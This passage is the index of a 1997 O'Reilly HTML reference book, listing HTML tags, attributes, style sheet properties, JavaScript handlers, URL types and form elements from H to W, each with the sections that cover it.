Appropriate Use of Headings
<html> tags : The <html> Tag
HTML tags
HTML Embedded Tags
HTML Tags
Ignored or Redundant Tags
attributes for : The Syntax of a Tag
content-based style
Content-based text styles
Document Content
Comments
Content-Based Styles
Combining Content-Based Styles
grammar for
The Grammar
nesting : Proper and Improper Nesting
physical style
Physical styles
Physical Styles
Physical Style Tags
Combining Physical Styles
quick reference for
HTML Tag Quick Reference
styles for
The Elements of Styles
Class inheritance
Applying Styles to Documents
The pros and cons of external styles
tagless styles : Tag-Less Styles: The <span>e;...
HTTP (Hypertext Transfer Protocol) : The Flow of Information
Redirect header : Combining Refresh with Other HTTP H...
Refresh header
Uniquely Refreshing
Cycling among documents
http URL
The http URL
Sample http URLs
http-equiv attribute (<meta>)
The http-equiv attribute
Uniquely Refreshing
hyperlinks
HTML and the World Wide Web
Hyperlinks
Anchors Beyond HTML
Hypertext Basics
clickable image maps
Image Maps
The ismap and usemap attributes
Mouse-Sensitive Images
Effective Use of Mouse-Sensitive Images
effective use of
Creating Effective Links
Using Images and Links
embedded guides : Embedded Guides
images and : Using Images and Links
linking within documents
Hyperlink Names and Navigation
Linking Within a Document
relationships between : The rel and rev attributes
target attribute and : Traditional link behavior
text colors for : The link, vlink, and alink attributes
Hypertext Markup Language (see HTML)
Hypertext Transfer Protocol (see HTTP)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

I

<i> tags : The <i> Tag
id attribute (<object>) : The id and name attributes
IETF (Internet Engineering Task Force) : The Internet Engineering Task Force
<iframe> tags
The <iframe> Tag
Using Inline Frames
ignored HTML tags : Ignored or Redundant Tags
<ilayer> tags
The <ilayer> Tag
Combining <layer> an...
images
Images Are Special
Image Maps
Inserting Images in Your Documents
Combining movie <img>...
Referencing Audio, Video, and Images
alignment of
The align attribute
background (see background attribute)
background-image property : The background-image property
borders for
The border attribute
Removing the image border
The href attribute
custom image buttons : Custom image buttons
formats for
Understanding Image Formats
JPEG
JPEG or GIF?
in headings : Adding Images to Headings
image maps
Image Maps
The ismap and usemap attributes
Mouse-Sensitive Images
Effective Use of Mouse-Sensitive Images
<area> tag
The ismap and usemap attributes
The <area> Tag
The title attribute
<map> tags
The ismap and usemap attributes
The <map> Tag
<img> tag
Inline Images
The <img> Tag
Combining movie <img>...
emulating spacers with
Mimicking the <spacer>...
video extensions
Video Extensions
Combining movie <img>...
links and : Using Images and Links
to mark list items : The list-style-image property
performance and : Problems with background images
size of
The height and width attributes
Problems with height and width
transparent (see transparency)
wrapping text around
Wrapping text around images
importing external style sheets
Imported external style sheets
Linked Versus Imported Style Sheets
incompatibility with browsers
applets and : Supporting incompatible browsers
frames : The <noframes> Tag
JavaScript scripts : The <noscript> Tag
tables and : When tables aren't implemented
indentation : The text-indent property
inherit visibility : The visibility attribute
inheritance, styles and
Class inheritance
Property Inheritance
inline
frames
Inline Frames
Using Inline Frames
images : Inline Images
items : The display property
layers
The <ilayer> Tag
Combining <layer> an...
references
Inline References
styles
Inline Styles: The style Attribute
External, document-level, and inline JSS
<input> tag
Form Input Elements
Form <input> Event H...
interlacing : Interlacing, transparency, and animation
Internet
The Internet
Beneath the World Wide Web
direct connection to : Internet connection
Internet Engineering Task Force (IETF) : The Internet Engineering Task Force
Internet Explorer : Video Extensions
Active technology and : Writing Applets
table extensions
Internet Explorer Table Extensions
Using column groups
Internet Protocol (see IP)
IP (Internet Protocol) : Talking the Internet Talk
IP addresses : The http server
<isindex> tag
Searchable Documents
The <isindex> Tag
Server dependencies
Forms
ismap attribute (<img>)
Image Maps
The ismap and usemap attributes
Server-Side Image Maps
italic
The <i> Tag

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

J

Java language
Writing Applets
JavaScript language
Style Sheets and JavaScript
JavaScript
The <server> Tag
entities : JavaScript Entities
event handlers
The name, onAbort, onError, and onL...
The onClick, onMouseOver, and OnMou...
The onsubmit and onreset attributes
Form <input> Event H...
Form <textarea> Even...
Form <select> event ...
JavaScript Event Handlers
frames and : Frames and JavaScript
<img> attributes : The name, onAbort, onError, and onL...
javascript pseudo-protocol : The javascript URL
<script> tags : The <script> Tag
style sheets (JSS)
JavaScript Style Sheets
JavaScript Style Sheet Properties
javascript pseudo-URL : JavaScript URLs
JPEG format
JPEG
JPEG or GIF?
JSS (JavaScript style sheets)
JavaScript Style Sheets
JavaScript Style Sheet Properties

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

K

<kbd> tags : The <kbd> Tag
keyword property values : Keyword property values
keywords : The name attribute

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

L

lang attribute (<div>) : The lang attribute
language attribute (<script>) : The language attribute
layers
Layers
Combining <layer> an...
<ilayer> tags
The <ilayer> Tag
Combining <layer> an...
<layer> tags
The <layer> Tag
The style and class attributes
layout
forms
Better Forms Layout
Building forms with nested tables
multicolumn pages
Multicolumn Pages
Straddle heads
left alignment (see align attribute)
left attribute
<ilayer> : The top and left attributes
<layer>
The left and top attributes
leftmargin attribute (<body>) : The leftmargin attribute
length (see size)
length property values : Length property values
less-than sign (<) : Special text characters
letter-spacing property : The letter-spacing property
<li> tags
Unordered, Ordered, and Definition Lists
The <li> Tag
The value attribute
line breaks
Paragraphs and line breaks
The <br> Tag
Better Line-Breaking Rules
Mimicking the <spacer>...
nowrap attribute and : The nowrap attribute
line-height property : The line-height property
link attribute
<body> : The link, vlink, and alink attributes
<link> tag
The rel and rev attributes
The <link> Header Element
How browsers might use <link...
Linked external style sheets
Limitations of Current Browsers
External, document-level, and inline JSS
links (see hyperlinks)
embedded (see hyperlinks)
to external style sheets
Linked external style sheets
Linked Versus Imported Style Sheets
<listing> tags : The <listing> Tag
lists : Unordered, Ordered, and Definition Lists
custom bullets : Custom Bullets
definition lists
Definition Lists
The style and class attributes
directory
Directory Lists
The style and class attributes
of hyperlinks : Lists of Links
items of
The <li> Tag
The value attribute
list items : The display property
menu lists
Menu Lists
The style and class attributes
nesting : Nesting Lists
ordered (numbered)
Ordered Lists
The style and class attributes
Nested Ordered Lists
selection
The <select> Tag
The style and class attributes
style properties
List Properties
Using list properties effectively
unordered (bulleted)
Unordered Lists
The style and class attributes
Nested Unordered Lists
loading delay (see performance)
loop attribute
<bgsound>looping for continuous action : The loop attribute
<img>looping for continuous action : The loop attribute
<marquee>looping for continuous action : The behavior, direction, and loop a...
lowsrc attribute (<img>) : The lowsrc attribute
Lynx (see text-only browsers)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

M

mailto URL
The mailto URL
Using mailto to collect form data (...
<map> tags
The ismap and usemap attributes
The <map> Tag
maps
image (see clickable image maps)
standard color : The Standard Color Map
marginheight attribute (<frame>) : The marginheight and marginwidth at...
margins
around applets : The hspace and vspace attributes
frames and : The marginheight and marginwidth at...
style properties for : The margin properties
text : The leftmargin attribute
marginwidth attribute (<frame>) : The marginheight and marginwidth at...
<marquee> tags
The <marquee> Tag
The style and class attributes
masked text fields : Masked text fields
mayscript attribute (<applet>) : The mayscript attribute
menu lists
Menu Lists
The style and class attributes
<menu> tags
The <menu> Tag
The style and class attributes
<meta> tag
The <meta> Header Element
The charset attribute
Uniquely Refreshing
Cycling among documents
method attribute (<form>) : The method attribute
middle alignment (see align attribute)
MIME types : Referencing Audio, Video, and Images
application/x-www-form-urlencoded : The application/x-www-form-urlencod...
file-selection fields and : File selection fields
multipart/form-data : The multipart/form-data encoding
multipart/mixed : The Multipart/Mixed-Media Type
multipart/x-mixed-replace : Multipart Mixed-Replace-Media Type
text/css : Document-Level Style Sheets
text/plain : The text/plain encoding
missing HTML tags : Omitting Tags
monospaced text
<code> tags : The <code> Tag
<kbd> tags : The <kbd> Tag
<plaintext> tags : The <plaintext> Tag
<tt> tags : The <tt> Tag
<var> tags : The <var> Tag
Mosaic browser : HTML and the World Wide Web
mouse events (see clickable image maps; event handlers, JavaScript)
movies (see animation; video)
<multicol> tags
The <multicol> Tag
The style and class attributes
multiline text form areas
Multiline Text Areas
Form <textarea> Even...
multimedia
Multimedia
Other Multimedia Content
Beyond HTML
audio
Background Audio
The loop attribute
client-push documents for : Pulling Non-HTML Content
GIF animation : Interlacing, transparency, and animation
images (see images)
text animation
Animated Text
The style and class attributes
video : The dynsrc attribute
<img> extensions for
Video Extensions
Combining movie <img>...
virtual reality
Beyond HTML
multipart/form-data encoding : The multipart/form-data encoding
multipart/mixed encoding : The Multipart/Mixed-Media Type
multipart/x-mixed-replace encoding : Multipart Mixed-Replace-Media Type
multiple attribute (<select>) : The multiple attribute
multiple-choice elements
Multiple Choice Elements
The style and class attributes
multiple styles : Style Precedence

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

N

n attribute (<nextid>) : The n attribute
name attribute
<a> : The name attribute
<a> tag : Hyperlink Names and Navigation
<applet> : The name attribute
<embed> : The name attribute
<form> : The name attribute
<frame> : The name attribute
<img> : The name, onAbort, onError, and onL...
<layer> tag : The name attribute
<meta> : The name attribute
<object> : The id and name attributes
<param>value attribute
<param> : The name and value attributes
name servers : Talking the Internet Talk
named parameters
Passing parameters explicitly
Using named parameters with GET app...
names for colors : Color Names
nesting
content-based style tags : Combining Content-Based Styles
<frameset> tags : Nesting <frameset> Tags
lists : Nesting Lists
physical style tags : Combining Physical Styles
styles : Contextual Selectors
tables in forms : Building forms with nested tables
tags : Proper and Improper Nesting
Netscape Navigator
Golden Threads
Nonstandard Extensions
executable applications
Applets
The type and valuetype attributes
plug-ins
Video Extensions
Embedding Other Document Types
news URL : The news URL
<nextid> tag : The <nextid> Header ...
nntp URL : The nntp URL
<nobr> tags
The <nobr> Tag
The <wbr> Tag
<noembed> tag : The <noembed> Tag
<noframes> tags : The <noframes> Tag
nohref attribute (<area>) : The nohref attribute
noresize attribute (<frame>) : The noresize attribute
<noscript> tag : The <noscript> Tag
noshade attribute (<hr>) : The noshade attribute
notab attribute
<input> : The notab and taborder Attributes
<object> : The notab attribute
nowrap attribute
<div> tags : The nowrap attribute
<th> and <td> : The nowrap attribute
<tr> : The nowrap attribute
numbered lists (see ordered lists)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

O

<object> tags
The <object> Tag
The type attribute
offset (see alignment)
<ol> tags
Unordered, Ordered, and Definition Lists
The <ol> Tag
The style and class attributes
omitting HTML tags : Omitting Tags
onAbort attribute (<img>)
The name, onAbort, onError, and onL...
JavaScript Event Handlers
onBlur attribute : JavaScript Event Handlers
onChange attribute : JavaScript Event Handlers
onClick attribute (<a>)
The onClick, onMouseOver, and OnMou...
Regular buttons
JavaScript Event Handlers
onError attribute
The name, onAbort, onError, and onL...
JavaScript Event Handlers
onFocus attribute : JavaScript Event Handlers
onLoad attribute
The name, onAbort, onError, and onL...
JavaScript Event Handlers
onMouseOut attribute
The onClick, onMouseOver, and OnMou...
The onMouseOver and OnMouseOut attr...
onMouseOver attribute
The onClick, onMouseOver, and OnMou...
The onMouseOver and OnMouseOut attr...
JavaScript Event Handlers
onReset attribute (<form>)
The onsubmit and onreset attributes
JavaScript Event Handlers
onSelect attribute : JavaScript Event Handlers
onSubmit attribute (<form>)
The onsubmit and onreset attributes
JavaScript Event Handlers
onUnload attribute : JavaScript Event Handlers
<option> tags : The <option> Tag
ordered lists
Unordered, Ordered, and Definition Lists
Ordered Lists
The style and class attributes
nesting : Nested Ordered Lists

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

P

<p> tags
Paragraphs and line breaks
Ignored or Redundant Tags
The <p> Tag
Allowed paragraph usage
padding style properties : The padding properties
page layout
Content Versus Appearance
HTML and Text
columns
Multicolumn Layout
Effective Multicolumn Layouts
HTML tags for
Precise Spacing and Layout
The <plaintext> Tag
layers
Layers
Combining <layer> an...
whitespace (see whitespace)
wrapping text
The nowrap attribute
Wrapping text around images
palette attribute (<embed>) : The palette attribute
paragraphs
Paragraphs and line breaks
The <p> Tag
Allowed paragraph usage
<param> tags
The <param> Tag
The type and valuetype attributes
parameters, form
Passing parameters explicitly
Using named parameters with GET app...
Handling POST Forms
_parent target : Special Targets
password input type : Masked text fields
pathnames
URLs
The http path
percent sign (%) for character encoding : Writing a URL
percentage property values : Percentage property values
performance
applets and : Using Applets Correctly
colors and
Extending a Warning
And then again
dynamic documents and
Performance Considerations
Efficiency considerations
flood-filling : Resizing and flood-filling images
images and
When to Use Images
Speeding Image Downloads
Problems with background images
lowsrc attribute (<img>) for : The lowsrc attribute
server-/client-side image maps : Client-Side Image Maps
text : When to Use Text
physical style tags
Physical styles
Physical Styles
Physical Style Tags
Combining Physical Styles
<plaintext> tags : The <plaintext> Tag
plug-ins
Video Extensions
Embedding Other Document Types
Embedded Content
The type attribute
pluginspage attribute (<embed>) : The pluginspage attribute
polygonal image map area : The coords attribute
ports : The http port
POST method
The method attribute
Handling POST Forms
pound sign (#)
for entities : Special text characters
for name anchors
Hyperlink Names and Navigation
Linking Within a Document
in URLs : The http document fragment
<pre> tags
Preformatted text
The <pre> Tag
The style and class attributes
The style and class attributes
The style and class attributes
preformatted text : Preformatted text
<listing> tags : The <listing> Tag
<pre> tags
The <pre> Tag
The style and class attributes
The style and class attributes
The style and class attributes
<xmp> tags : The <xmp> Tag
private webs : Beneath the World Wide Web
programming for forms
Passing parameters explicitly
Forms Programming
Handling POST Forms
prompt attribute (<isindex>) : The prompt attribute
properties, style
Style Properties
The white-space property
JavaScript style sheets : JavaScript Style Sheet Properties
protocols : URLs
pseudo-classes, style : Style pseudo-classes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Q

query URL : The query URL
QUERY_STRING variable : Using named parameters with GET app...
question mark (?) in URLs
Handling reserved and unsafe characters
The http search parameter
quick reference for HTML tags
HTML Tag Quick Reference
quotation mark (")
for attribute values : The Syntax of a Tag
in URLs : Handling reserved and unsafe characters

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

R

radio buttons : Radio Buttons
random URL generator : A random URL generator
rectangular image map area : The coords attribute
Redirect header : Combining Refresh with Other HTTP H...
redundant HTML tags : Ignored or Redundant Tags
references
The src attribute
Embedded Versus Referenced Content
inline
Inline References
Refresh header
Uniquely Refreshing
Cycling among documents
rel attribute
<a> : The rel and rev attributes
relationships
between HTML documents
Establishing Document Relationships
How browsers might use <link...
between hyperlinks : The rel and rev attributes
relative
font size
The size attribute
frame sizes : The rows and cols attributes
URLs
URLs
Absolute and Relative URLs
Using relative URLs
reserved characters (see special characters)
reset buttons : Reset buttons
resizing images : Resizing and flood-filling images
rev attribute
<a> : The rel and rev attributes
<link>rel attribute
<link> : The rel and rev attributes
right alignment (see align attribute)
rows attribute
<frameset> : The rows and cols attributes
rows attribute:<textarea> : The rows and cols attributes
rows, table (see tables)
rowspan attribute (<th> and <td>) : The rowspan attribute
rules (see horizontal rules)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

S

<s> tags (see <strike tags>)
<samp> tags : The <samp> Tag
<script> tags : The <script> Tag
scroll behavior (<marquee>) : The behavior, direction, and loop a...
scrollamount attribute (<marquee>) : The scrollamount and scrolldelay at...
scrolldelay attribute (<marquee>) : The scrollamount and scrolldelay at...
scrolling
fixing images against : The bgproperties attribute
frames and : The scrolling attribute
<marquee> tags and
The <marquee> Tag
The style and class attributes
scrolling attribute (<frame>) : The scrolling attribute
search parameter of URLs : The http search parameter
searchable documents
Searchable Documents
Creating Searchable Documents
Server dependencies
sections
document
The <div> Tag
Using Rules to Divide Your Document
table
Defining Table Sections
Using table sections
security, ActiveX and : Writing Applets
<select> tags
The <select> Tag
The style and class attributes
selected attribute (<option>) : The selected attribute
selection lists
The <select> Tag
The style and class attributes
_self target : Special Targets
<server> tag : The <server> Tag
server-push documents
An Overview of Dynamic Documents
Server-Push Documents
Server-push example application for...
server-side image maps
Image Maps
The ismap and usemap attributes
Server-Side Image Maps
Server-side considerations
servers
Clients, Servers, and Browsers
The http server
data to/from (see forms)
form programming
Forms Programming
Handling POST Forms
<isindex> tag and : Server dependencies
SGML DTD (see DTD for HTML)
shape attribute (<area>)
The coords attribute
The shape attribute
shapes attribute (<object>) : The shapes and usemap attributes
show visibility : The visibility attribute
side heads in tables
Side Heads
When tables aren't implemented
size
applet : The height and width attributes
borders
The border-width property
columns of text : The width attribute
embedded objects
The align, border, height, width, h...
The units attribute
The align, border, height, width, h...
font size : The font-size property
frames
The noresize attribute
The height and width attributes
horizontal rules : The width attribute
image map areas
The coords attribute
The shape attribute
images
The height and width attributes
Problems with height and width
layers : The width attribute
line-height property : The line-height property
marquee area : The height and width attributes
text
Using Headings for Smaller Text
The <big> Tag
The <small> Tag
The size attribute
text input boxes
Conventional text fields
whitespace blocks : Creating blocks of space
size attribute
<basefont> tags : The <basefont> Tag
<font> tags
The size attribute
<hr> tag : The size attribute
<input>maxlength attribute
<input>
Conventional text fields
<multiple> : The size attribute
<spacer>
Creating horizontal space
Creating blocks of space
slash (/)
in ending tags : Start and End Tags
in URLs
Handling reserved and unsafe characters
The http path
slide behavior (<marquee>) : The behavior, direction, and loop a...
<small> tags : The <small> Tag
software
for designers : Tools for the HTML Designer
formatting code : The <code> Tag
sound (see audio)
space (see whitespace)
<spacer> tag
The <spacer> Tag
Creating blocks of space
span attribute
<col> : The <col> tag
<colgroup> : The <colgroup> tag
<span> tags : Tag-Less Styles: The <span>e;...
special characters
Character Entities
Special text characters
Character Entities
Special Character Encoding
Handling reserved and unsafe characters
in URLs : Handling reserved and unsafe characters
special targets : Special Targets
square bullets : The type attribute
src attribute
<bgsound> : The src attribute
<embed> : The src attribute
<frame> : The src attribute
<img> : The src attribute
<layer> : The src attribute
<script> : The src attribute
stacking layers (see layers)
standardizing HTML
HTML Grammar
The HTML 3.2 DTD
Standards Organizations
HTML Document Elements
standby attribute (<object>) : The standby attribute
start attribute
<img> : The start attribute
<ol> : The start attribute
starting tags
Start and End Tags
Starting and Ending Tags
straddle heads : Straddle heads
<strike> tags : The <strike> Tag
<strong> tags : The <strong> Tag
structural tags : Text Structures
style attribute
The style and class Attributes
The style and class Attributes
Inline Styles: The style Attribute
<a> : The style and class attributes
<body> : The style and class attributes
<caption> : The style and class attributes
<dd> : The style and class attributes
<dir> : The style and class attributes
<div> : The style and class attributes
<dl> : The style and class attributes
<dt> : The style and class attributes
<form> : The style and class attributes
<h#> : The style and class attributes
<hr> : The style and class attributes
<input> : The style and class Attributes
<layer> : The style and class attributes
<li> : The style and class attributes
<marquee> : The style and class attributes
<menu> : The style and class attributes
<multicol> : The style and class attributes
<ol> : The style and class attributes
<option> : The style and class attributes
<p> : The style and class attributes
<pre>
The style and class attributes
The style and class attributes
The style and class attributes
<select> : The style and class attributes
<textarea> : The style and class Attributes
<th> and <td> : The style and class attributes
<tr> : The style and class attributes
<ul> : The style and class attributes
style sheets
Style Sheets and JavaScript
cascading (see Cascading Style Sheets)
JavaScript
JavaScript Style Sheets
JavaScript Style Sheet Properties
<style> tags
Document-Level Style Sheets
Style Comments
incompatibility with browsers : Handling Style-Less Browsers
styles
The Elements of Styles
Multiple Selectors
Applying Styles to Documents
The pros and cons of external styles
classes for
Style Classes
Class inheritance
Defining style classes
contextual
Contextual Selectors
Using contextual styles
CSS properties for
Style Properties
The white-space property
JSS properties for : JavaScript Style Sheet Properties
precedence of : Style Precedence
<sub> tags : The <sub> Tag
subdomains (see domains)
submit buttons : Submission buttons
subscripts and superscripts : The <sub> Tag
<sup> tags : The <sup> Tag

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

T

tab key
with forms : The notab and taborder Attributes
with image maps : The notab and taborder attributes
tabindex attribute (<object>) : The tabindex attribute
tables
Tables
The HTML Table Model
The style and class attributes
Tricks with Tables
Embedded Guides
alignment of : Missing Features
borders
The hspace and vspace attributes
The bordercolor, bordercolorlight, ...
The bordercolor, bordercolorlight, ...
browsers incompatible with : When tables aren't implemented
caption for : The <caption> Tag
cells
The <th> and <...
The style and class attributes
alignment : The align and valign attributes
size of : The width attribute
wrapping text in
The nowrap attribute
The nowrap attribute
colors and
The bordercolor, bordercolorlight, ...
The bgcolor attribute
The bgcolor and background attributes
column layout
The colspan attribute
Defining Column Groups
Using column groups
headers and footers
The <thead> tag
The <tfoot> tag
nested, in forms : Building forms with nested tables
rows
The <tr> Tag
The valign attribute
The rowspan attribute
alignment
The align attribute
The valign attribute
sectioning
Defining Table Sections
Using table sections
side heads
Side Heads
When tables aren't implemented
straddle heads : Straddle heads
taborder attribute
<area>notab attribute
<area> : The notab and taborder attributes
<input> : The notab and taborder Attributes
tabs (see whitespace)
tags property (JavaScript) : Defining styles for tags
target attribute
<a> : The target Attribute for the <e...
<a>windows : The target attribute
<area>windows : The target attribute
<base> : The <base> Default Target
<base>windows : The target attribute
<form>windows : The target attribute
<tbody> tag : The <tbody> tag
<td> tags
The <th> and <...
The style and class attributes
telnet URL : The telnet URL
text
Text
Preformatted text
animated
Animated Text
The style and class attributes
appearance tags for
Appearance of Text
Special text characters
Changing Text Appearance
Combining Physical Styles
block quotes
Block Quotes
The <blockquote> Tag
color of (see colors)
column layout of
Multicolumn Layout
Effective Multicolumn Layouts
fonts (see fonts)
form fields for
Text Fields in Forms
File selection fields
inline references in
Inline References
instead of images
When to Use Text
The alt attribute
monospaced (see monospaced text)
multiline form areas for
Multiline Text Areas
Form <textarea> Even...
paragraphs (see paragraphs)
preformatted : Preformatted text
size of (see text size)
special characters
Character Entities
Special text characters
Character Entities
Special Character Encoding
Handling reserved and unsafe characters
style properties
Text Properties
The word-spacing property
text-only browsers
Clients, Servers, and Browsers
The alt attribute
text/plain encoding : The text/plain encoding
whitespace (see whitespace)
wrapping (see wrapping text)
text attribute (<body>) : The text attribute
text editors
Word processor or HTML editor?
Writing Tools
text size
The Extended Font Size Model
The size attribute
<big> tags : The <big> Tag
heading tags for : Using Headings for Smaller Text
<small> tags : The <small> Tag
text/css encoding : Document-Level Style Sheets
<textarea> tags
Multiline Text Areas
Form <textarea> Even...
<tfoot> tags : The <tfoot> tag
<th> tags
The <th> and <...
The style and class attributes
<thead> tags : The <thead> tag
tilde (~) in URLs : The http path
title attribute
<a> : The title attribute
<applet> : The title attribute
<area> : The title attribute
<link> : The title attribute
<object> : The title attribute
titles
bibliographic : The <cite> Tag
document
HTML Skeleton
The <title> Tag
What's in a title?
Appropriate Use of Headings
documents : The title attribute
image map areas : The title attribute
images : The title attribute
<title> tags
HTML Skeleton
The <title> Tag
What's in a title?
top alignment (see align attribute)
top attribute
<ilayer> : The top and left attributes
<layer>
The left and top attributes
_top target : Special Targets
topmargin attribute (<body>) : The topmargin attribute
<tr> tags
The <tr> Tag
The valign attribute
transparency
Interlacing, transparency, and animation
Transparent Images
Converting the Image
true color : Colors, Maps, and Indexes
<tt> tags : The <tt> Tag
type attribute
<dir> : The <dir> Tag
<embed> : The type attribute
<li>circular bullets : The type attribute
<link>MIME types : The type attribute
<menu> : The <menu> Tag
<object> : The type attribute
<ol> : The type attribute
<param>valuetype attribute (<param>) : The type and valuetype attributes
<style> : Document-Level Style Sheets
<ul> : The type attribute
typecode : The ftp path and transfer type

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

U

<u> tags : The <u> Tag
<ul> tags
Unordered, Ordered, and Definition Lists
The <ul> Tag
The style and class attributes
underscoring : The <u> Tag
units attribute (<embed>) : The units attribute
unordered lists
Unordered, Ordered, and Definition Lists
Unordered Lists
The style and class attributes
custom bullets : Custom Bullets
nesting : Nested Unordered Lists
unsafe characters in URLs : Handling reserved and unsafe characters
URLs (uniform resource locators)
URLs
Referencing Documents: The URL
Using relative URLs
<base> tag for
The <base> Header Element
Using <base>
generating randomly : A random URL generator
http
The http URL
Sample http URLs
JavaScript : JavaScript URLs
query : The query URL
as style property values : URL property values
urn attribute (<a>) : The urn attribute
URNs (universal resource names) : The urn attribute
usemap attribute
<img>
Image Maps
The ismap and usemap attributes
<object> : The shapes and usemap attributes
user interface design : User Interface Considerations

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

V

valign attribute
<caption>align attribute
<caption> : The align and valign attributes
<th> and <td> : The align and valign attributes
<tr> : The valign attribute
value attribute
<li> : The value attribute
<option> : The value attribute
<var> tags : The <var> Tag
version attribute (<html>) : The version attribute
vertical
alignment (see alignment)
margins
The hspace and vspace attributes
The hspace and vspace attributes
whitespace : Creating vertical space
video
Referencing Audio, Video, and Images
<img> extensions
Video Extensions
Combining movie <img>...
inline : The dynsrc attribute
Virtual Reality Markup Language (VRML)
Beyond HTML
visibility attribute (<layer>) : The visibility attribute
vlink attribute (<body>) : The link, vlink, and alink attributes
VRML (Virtual Reality Markup Language)
Beyond HTML
vspace attribute
<embed> : The align, border, height, width, h...
<img> : The hspace and vspace attributes
<marquee> : The hspace and vspace attributes
<object> : The align, border, height, width, h...

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

W

W3C (World Wide Web Consortium) : The World Wide Web Consortium
<wbr> tags
The <wbr> Tag
webs, private : Beneath the World Wide Web
weight, font : The font-weight property
whitespace
Appearances Can Deceive
Creating Whitespace
Mimicking the <spacer>...
around images : The hspace and vspace attributes
around marquee areas : The hspace and vspace attributes
around rules : The <hr> Tag
between columns (gutters) : The gutter attribute
blocks of
The <spacer> Tag
Mimicking the <spacer>...
frames and : Controlling frame borders and spacing
HTML tags for
Precise Spacing and Layout
The <plaintext> Tag
<img> tag for
Mimicking the <spacer>...
line breaks (see line breaks)
margins
frames : The marginheight and marginwidth at...
text : The leftmargin attribute
paragraphs (see paragraphs)
<spacer> tag
The <spacer> Tag
Creating blocks of space
text style properties for
The text-indent property
The word-spacing property
white-space property : The white-space property
width attribute
<embed> : The align, border, height, width, h...
<hr> : The width attribute
<iframe> : The height and width attributes
<img> : The height and width attributes
<layer> : The width attribute
<marquee> : The height and width attributes
<multicol> : The width attribute
<object> : The align, border, height, width, h...
<pre> tag : The width attribute
<spacer> : Creating blocks of space
<th> and <td>size
tables/table cells : The width attribute
width property : The width property
windows (see also frames)
Named Frame or Window Targets
Traditional link behavior
Creating New Windows
word processors (see text editors)
word wrap (see wrapping text)
word-spacing property : The word-spacing property
World Wide Web : HTML and the World Wide Web
browsers for (see browsers, web)
important web sites : An Extended Toolkit
information on : The Flow of Information
W3C : The World Wide Web Consortium
wrap attribute (<textarea>) : The wrap attribute
wrapping text
